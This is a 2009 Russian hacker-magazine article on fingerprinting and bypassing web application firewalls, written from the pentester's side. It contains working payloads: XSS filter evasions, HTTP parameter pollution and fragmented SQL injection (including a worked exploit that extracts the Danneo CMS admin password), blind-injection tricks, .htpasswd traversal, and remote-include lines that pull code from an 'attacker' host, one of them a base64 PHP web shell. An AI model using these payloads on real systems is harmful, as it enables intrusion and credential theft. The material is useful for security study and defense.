Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 130, ОКТЯБРЬ 2009 г.

Горящие стены защиты. Файрвол для веб-приложений: способы обнаружения и обхода

Raz0r, http://raz0r.name

Когда мы говорим «файрвол», то в большинстве своем подразумеваем инструмент для фильтрации сетевого трафика. Прикрыть порты, порезать трафик по ненужному протоколу, ограничить доступ конкретных приложений в Сеть, будь те на сервере или обычной домашней машине, - все это запросто реализуется обычным брандмауэром. Но знал ли ты, что файрвол существует еще и для веб-приложений и способен обеспечивать дополнительный слой защиты?

Практически в любом веб-приложении есть серьезные баги. За доказательством далеко ходить не нужно: достаточно прочитать свежий баг-трак. Анализируя код и используя сканирования типа черного ящика, когда различные параметры, передаваемые веб-приложения, фаззятся особым образом, хакеры нередко находят ошибки даже в очень серьезных проектах. В итоге, отсутствие проверки передаваемого параметра в одном единственном месте кода может, например, привести к утечке базы с конфиденциальной инфой. Но ведь программисты тоже люди: каждый может сделать ошибку. Заставить всех разработчиков писать абсолютно безопасный код невозможно (хотя и существуют специальные стандартны вроде Microsoft'овского Security Development Lifecycle). Но! Можно попробовать выполнить за них работу над ошибками, внося в схему взаимодействия между пользователем и веб-приложением дополнительное звено - Web Application Firewall (WAF). В этом случае проверка, даже если она не предусмотрена в самом скрипте приложения, обязательно будет осуществляться WAF.

Получается, что Web Application Firewall - это специальный механизм, накладывающий определенный набор правил на то, как между собой взаимодействуют сервер и клиент, обрабатывая HTTP-пакеты. В основе кроется тот же принцип, что и в обычных пользовательских файрволах, - контроль всех данных, которые поступают извне. WAF опирается на набор правил, с помощью которого выявляется факт атаки по сигнатурам – признакам активности пользователя, которые могут означать нападение. Обычно Web Application Firewall применяются для защиты сайтов, которые являются объектами особо пристального внимания хакеров, - крупные компании, банки, онлайн-магазины, социальные сети и др. Но, несмотря на это, WAF может быть использован любым желающим. Предлагается немалое количество решений, распространяющихся по лицензии open source.

Какие бывают WAF?

Само понятие «Web Application Firewall» достаточно широкое. WAF может быть реализован в двух форм-факторах: аппаратном или программном – большую часть, разумеется, представляют последние. Также WAF можно разделить и по принципу действия. Условно выделяют три типа:

  1. Реализованные в виде обратного прокси-сервера;
  2. Работающие в режиме маршрутизации/моста;
  3. Уже встроенные в веб-приложения.

К первым можно отнести такие реализации, как mod_security (modsecurity.org), Barracuda (barracudanetworks.com), nevisProxy (adnovum.ch). Работа этого типа WAF строится по схеме первоначальной обработки данных прокси-сервером, который может блокировать или перенаправить запрос к веб-серверу без изменения или с частичной правкой данных.

Ко второй категории относят в основном аппаратные WAF, например, Impreva SecureSphere (impervaguard.com). Такие решения требуют дополнительной настройки внутренней сети, но зато в конечном итоге вариант выигрывает в производительности.

И, наконец, третий тип подразумевает наличие в веб-приложении дополнительного функционала, реализующего цели WAF. Ярким примером служит встроенный WAF в CMS Битрикс (1c-bitrix.ru).

По специфике действия правил различают WAF, работающие по принципу blacklist (производится сопоставление со списком недопустимых условий) и whitelist (принимаются только разрешенные действия), а также смешанный тип. Например, среди сигнатур для черного списка могут быть строки: «UNION SELECT», «<script>», «/etc/passwd»; белый список может определять диапазон значений для числового параметра (от 0 до 65535).
Правильный WAF не производит фильтрацию входящих данных, так как по большей части это не входит в его компетенцию, однако существует тип WAF, когда вместо простого блокирования файрвол производит корректировку, особым образом обрабатывая данные. В результате это делает их бесполезными для атакующего.

Обнаружение WAF

Установка и настройка каждого из решений – тема для отдельной статьи, но нам сейчас гораздо интереснее посмотреть на WAF с позиции хакера. Как пентестер может обнаружить на сервере WAF и, что еще важнее, обойти те проверки, которые он накладывает? Попробуем разобраться.
Каждый из файрволов, как правило, имеет свои отличительные особенности (они могут быть выявлены с помощью метода распознавания «отпечатков» – fingerprint), впоследствии позволяющие определить, какой именно WAF присутствует на том или ином сайте. Среди подобных особенностей могут быть:

  • назначение специальных параметров Cookie в HTTP-ответе;
  • маскировка сервера с помощью изменения HTTP-заголовков, в частности Server;
  • различные коды ответа при передаче особых данных;
  • незамедлительное завершение соединения при срабатывании недопустимого условия;
  • встроенный набор базовых правил, поддающийся раскрытию.

Например, при попытке проведения простых атак mod_security обнаруживается по коду ошибки 501; WebKnight – по коду 999; Barracuda по cookie-параметру barra_counter_session.

Несомненно, ручное распознавание типа WAF требует много времени и большого опыта. Необходимость в инструменте, который мог бы автоматизировать процесс, привела к созданию таких решений. Среди них можно отметить плагин WAF_fingerprint для фреймворка w3af и утилиту wafw00f. Эти инструменты должны быть в арсенале у каждого пентестера.

Обход WAF

Ничего идеального не существует. Это суждение также справедливо и для WAF. Прежде всего, стойкость файрвола обуславливается его архитектурой и используемой моделью правил. Положительная модель всегда будет иметь преимущество перед отрицательной, так как первая изначально определяет меньшее количество допустимых значений. С другой стороны, разработка правил для whitelist куда более трудоемкое занятие, ведь для веб-приложений необходимо четко установить рамки всех допустимых значений для каждого входящего параметра. К слову, для mod_security есть специальный инструмент под названием Remo, позволяющий через графический интерфейс создавать новые правила для белого списка.

Еще большей проблемой являются сами правила. Вендоры WAF порой не успевают их обновлять или попросту не в курсе новых веяний в сфере веб-безопасности, не говоря уже о неспособности базового набора правил качественно распознавать обычные атаки.

Примером обхода правил конкретного файрвола может служить уязвимость в Profense Web Application Firewall, позволяющая проводить XSS с помощью следующих векторов:

  1. http://example.com/xss.php?var=<script>alert(document.cookie)</script ByPass>
  2. http://example.com/xss.php?var=<script>alert(document.cookie)</script>=%0AByPass

В первом случае (cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1593) производится обход правил, созданных по отрицательной модели: WAF не распознает XSS-атаку, так как в закрывающий тег вставлена строка, отделенная пробелом; в то же время браузер выполнит злонамеренный JS-код, несмотря на неверный формат.

Во втором примере (cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1594) XSS также проходит проверку, но уже по белому списку, ибо правила пропускают все данные, обрабатывая их регулярным выражением в многострочном режиме, если хотя бы одна строка соответствует допустимым условиям.

К сожалению, рассмотреть уязвимости всех WAF в рамках одной статьи невозможно. Но существуют универсальные способы и техники обхода, которые могут быть применимы в условиях любого WAF.

HTTP Parameter Pollution

Термин (сокращенно – HPP) появился благодаря одноименной работе итальянских специалистов Луки Карретони (Luca Carettoni) и Стефано ди Паолы (Stefano di Paola). Принцип HPP заключается в возможности переопределить или добавить новые HTTP-параметры (POST, GET) с помощью внедрения символов, их разграничивающих, в строку запроса (query string). «Смешивая» параметры, становится возможным обход правил WAF.
Самым ярким примером является уязвимость в IIS+mod_security, позволяющая проводить SQL-инъекции, несмотря на WAF. Баг основан на двух особенностях:

1. IIS склеивает запятой значения всех HTTP-параметров, имеющих одинаковое имя. Например:

POST /index.aspx?a=1&a=2 HTTP/1.0
Host: localhost
Cookie: a=5;a=6
Content-type: text/plain
Content-Length: 7
Connection: close

a=3&a=4

При таком запросе на IIS/ASP.NET значение параметра a (Request.Params["a"]) будет равно 1,2,3,4,5,6.

2. mod_security анализирует запрос после того, как он был обработан веб-сервром, – то есть проверке подвергается каждый параметр независимо друг от друга.

Попытка тривиальной SQL-инъекции, как показано ниже, была бы отвергнута mod_security: http://localhost/index.aspx?id=-1+UNION+SELECT+username,password+FROM+users

Однако HPP позволяет обойти подобное ограничение запросом:

POST /index.aspx?a=-1%20union/*&a=*/select/* HTTP/1.0
Host: localhost
Cookie: a=*/from/*;a=*/users
Content?Length: 21

a=*/name&a=password/*

IIS произведет конкатенацию параметра a, mod_security не обнаружит никаких сигнатур. В конечном счете к базе данных поступит корректный запрос:

SELECT b,c FROM t WHERE a=-1/*,*/UNION/*,*/SELECT/*,*/username,password/*,*/FROM/*,*/users

Фрагментированные SQL-инъекции

Этот вид SQL-инъекций характеризуется наличием в запросе, по крайней мере, двух значений, которые может контролировать атакующий:

mysql_query("SELECT c,d FROM t WHERE a= " . $_GET["a"] . " AND b=" . $_GET["b"]);

Помня, что WAF не пропустит SQLi-вектор в одном параметре, мы можем воспользоваться сразу двумя, чтобы обойти проверку:

/?a=-1+UNION/*&b=*/SELECT 1,version()

Конечный SQL-запрос примет вид:

SELECT c,d FROM t WHERE a=-1 UNION/* AND b=*/SELECT 1,version()

Выше приведен пример идеального варианта фрагментированной SQL-инъекции. В реальных веб-приложениях все несколько сложнее. Во-первых, обычно атакующий может контролировать несколько участков запроса в INSERT или UPDATE, но не в SELECT. Во-вторых, входящие данные обрабатываются функцией addslashes(), и в запросе они обрамлены кавычками. И, наконец, данные могут проходить какие-либо дополнительные проверки встроенным WAF. Однако, несмотря на это, ошибки в реализации могут привести к выполнению произвольного SQL-кода. Примером может послужить уязвимость, которую я нашел в Danneo CMS 0.5.2.

Одной из особенностей этой CMS является наличие в ней функционала, напоминающего встроенный WAF. В частности, имеется черный список, по которому проверяются все входящие параметры; сама же проверка выглядит следующим образом:

foreach($_REQUEST as $params => $inputdata){
foreach($baddata as $badkey => $badvalue){
if(is_string($inputdata) && eregi($badvalue,$inputdata)){ $badcount=1; }
}
}

Как несложно заметить, сравнение входящих данных по черному списку производится с помощью уязвимой к нулл-байту функции eregi(), поэтому для обхода проверки достаточно вставить в начале параметра %00. Даже при включенной директиве PHP magic_quotes_gpc нулл-байт не будет экранироваться, так как присутствует такой код:

if(!ini_get("register_globals") || (@get_cfg_var('register_globals')==1)){
@extract($_COOKIE,EXTR_SKIP);
@extract($_POST,EXTR_SKIP);
@extract($_GET,EXTR_SKIP);
@extract($_REQUEST,EXTR_SKIP);
/* ... */
if(get_magic_quotes_gpc()) {
if($_POST) $_POST = stripslashesall($_POST);
if($_GET) $_GET = stripslashesall($_GET);
if($_REQUEST) $_REQUEST = stripslashesall($_REQUEST);
if($_COOKIE) $_COOKIE = stripslashesall($_COOKIE);
}

Здесь важно отметить, что все данные, полученные напрямую из суперглобальных массивов ($_GET, $_POST, $_COOKIE, $_REQUEST), будут очищены от экранирующих символов, в то время как переменные, ранее введенные в локальное пространство из тех же массивов функцией extract(), останутся как есть. Уже на этом этапе видна несогласованность кода. Сама же SQL-инъекция находится в модуле голосований при добавлении комментариев:

$comtext=($setting['peditor']=="yes") ? commentparse($comtext) : deltags(commentparse($comtext));
$comname = (preparse($usermain['logged'],THIS_INT)==1 && preparse($usermain['userid'],THIS_INT)>0) ? $usermain['uname'] : substr(deltags($comname),0,50);
$comtitle = substr(deltags($comtitle),0,255);
$in = $db->query("INSERT INTO ".$basepref."_polling_comment VALUES
(NULL,'".$id."','".$usermain['userid']."','".NEWTIME."',
'$comname','$comtitle','$comtext','".REMOTE_ADDRS."')");

Уязвимость возникает после того, как значение переменной comtitle обрезается функцией substr() до 255 символов. Ошибка разработчиков состоит в том, что данные сперва экранируются и только потом приводятся к требуемой длине, хотя должно быть наоборот. Это дает возможность проведения фрагментированной SQL-инъекции, несмотря на экранирование входящих данных при magic_quotes_gpc=on.

Для проведения успешной атаки необходимы следующие значения параметров:

  • comname - a-z значение от 5 символов до 10;
  • comtitle - 254 символа + кавычка;
  • comtext - /*%00*/, (SELECT adpwd FROM dn052_admin LIMIT 1), 1)-- -

Последним символом в значении переменной comtitle будет обратный слэш, который экранирует следующую за ним кавычку, что позволит выполнить код в переменной comtext. В итоге, получится SQL-запрос:

INSERT INTO dn052_polling_comment VALUES
(NULL,'1','0','1230987393',
'antichat','a[252x]b','/**/, (SELECT adpwd FROM dn052_admin LIMIT 1), 1)-- -','127.0.0.1')

При просмотре страницы с комментариями в поле текста сообщения будет отображен пароль администратора.

Слепые SQL-инъекции

При проведении слепых SQL-инъекций грамотный WAF – серьезное препятствие. Однако получить информацию из базы данных все же возможно при использовании альтернативных имен операторов и конструкций синтаксиса. Например, для MySQL применимы такие варианты:

----------------------------------------------------------
SUBSTRING (pass,1,1) | - MID(pass FROM 1 FOR 1)
| - LEFT(RIGHT(pass,32),1); LEFT(RIGHT(pass,31),1), etc
----------------------------------------------------------
ASCII () | - ORD()
| - CONV()
| - SELECT MID(pass,1,1)&2; SELECT MID(pass,1,1)&4, etc
----------------------------------------------------------
BENCHMARK() | - SLEEP()
----------------------------------------------------------
MID(pass,1,1)>97 | - SELECT MID(pass,1,1) BETWEEN 97 AND 122
----------------------------------------------------------
<> NULL | - IS NOT NULL
----------------------------------------------------------
= | - STRCMP()
----------------------------------------------------------

В ситуациях, когда производится фильтрация по наличию того или иного символа в параметре, также есть свои альтернативы в зависимости от RDBS:

----------------------------------------------------------
Фильтруется пробел в MySQL | (-1)UNION(SELECT(pass)FROM(users)WHERE(1=1))
----------------------------------------------------------
Фильтруются кавычки в PostgreSQL (>8.0) | UNION SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME=$$users$$
----------------------------------------------------------
Фильтруются кавычки в MSSQL | ;master..xp_cmdshell [dir]--
----------------------------------------------------------

XSS

Cross site scripting является, пожалуй, самым обширным полем для новых идей по обходу WAF. Это обуславливается необычайной гибкостью языка JavaScript и адаптивностью браузеров к некорректному формату HTML.

На прошедшей в августе конференции BlackHat была представлена работа по проведению XSS в условиях WAF. В презентации упомянуто большое количество трюков, позволяющих обмануть фильтры. Среди них:

<object data="javascript:alert(0)">
<isindex action=javascript:alert(1) type=image>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert('xss');</x:script>

Самым интересным вектором оказался:

($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_)

Выглядит устрашающе, не правда ли? На самом деле, код эквивалентен alert(1); подробный его разбор доступен здесь - http://oxod.ru/?p=290.
Еще одна работа, которую стоит отметить – это статья о внедрении JS-кода в HTTP-заголовки refresh и location (http://websecurity.com.ua/3386). Следующий вектор из этой статьи может служить еще одним способом обхода WAF:

/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

alert(1), представленный в base64, выполнится в Opera, Safari и Chrome, если значение параметра попадет в атрибут URL заголовка refresh:

...
Refresh 0; URL = data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
...

Перечислять все возможные способы обхода WAF для проведения XSS можно очень долго, поэтому лучше поделюсь ссылками на сайты, где собственно и рождаются новые векторы:

- http://ha.ckers.org/xss.html – многим знакомый XSS Cheat Sheet; много старья, но автор RSnake обещал в скором времени обновить список;
- http://sla.ckers.org/forum/list.php?24 – исключительно новые векторы от пользователей одного из самых лучших форумов по веб-безопасности;
- http://maliciousmarkup.blogspot.com/ – блог по теме нестандартных способов выполнения JS-кода; жаль, почти не обновляется.

Path Traversal/LFI/RFI

Почти все векторы из этой категории атак связаны с нулл-байтом, который распознают практически все WAF. Но и здесь появился новый способ, позволяющий отбросить расширение файла без использования ядовитого байта. Этот метод был обнаружен одним из пользователей форума sla.ckers.org и получил развитие в работах итальянской команды USH.

Суть заключается в многократном повторении символа «/» после имени файла. Реализация атаки во многом зависит от платформы, наличия Suhosin patch и других обстоятельств. Допустим, есть уязвимый код:

<?php
include("includes/" . $_GET["inc"]. ".php");
?>

WAF не пропустит %00 в параметре inc, однако с новым способом возможен инклуд произвольных файлов:

/?inc=../.htpasswd////...4096...///

Более подробно о таких атаках читай в моем блоге: raz0r.name/articles/null-byte-alternative.

Что касается Remote File Include (RFI), то атаки следующего вида давно стали легкой добычей WAF:

/?inc=http://attacker/s.txt?

С проблемой легко справляются следующие возможности PHP:

Доступ по FTP:

/?inc=ftp://attacker/s.txt

Причем функция file_exists() вернет true.

Доступ к необработанным POST-данным (только при allow_url_include=on):

POST /?inc=php://input HTTP/1.0
Host: localhost
Content-type: text/plain
Content-Length: 10
Connection: close

phpinfo();

Использование враппера data (allow_url_include=on):

/?inc=data:;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=dir

А также compress.zlib://, php://filter, ogg:// и др.

Заключение

Развитие Web Application Firewall не стоит на месте. Вместе с тем появляются все новые методы обхода различных ограничений. Будь то простенький фильтр на PHP или же могучий WAF – при детальном рассмотрении и упорном анализе убеждаешься, что ничто не лишено слабых мест. Когда эксплуатирование уязвимости, обнаруженной в каком-либо веб-приложении, становится затруднительным в виду, казалось бы, непреступной защиты WAF, никогда не стоит бросать начатое дело. Нужно лишь вникнуть в тонкости работы системы, и тогда верный путь станет очевидным.

DVD

Все материалы выступлений, инструменты, упомянутые в статье, а также подборка бесплатных WAF доступны на диске.

VIDEO

Демонстрацию уязвимости в Danneo CMS смотри на DVD.

WWW

INFO

Австрийская команда h4ck1nb3rg провела достаточно интересное исследование по оценке возможностей защиты текущего поколения Web Application Firewall. Подробный материал с методиками и результатами тестирования ты сможешь найти на – http://www.h4ck1nb3rg.at/wafs/final_project_documentation_v1.1.pdf.

Содержание
ttfb: 6.0429573059082 ms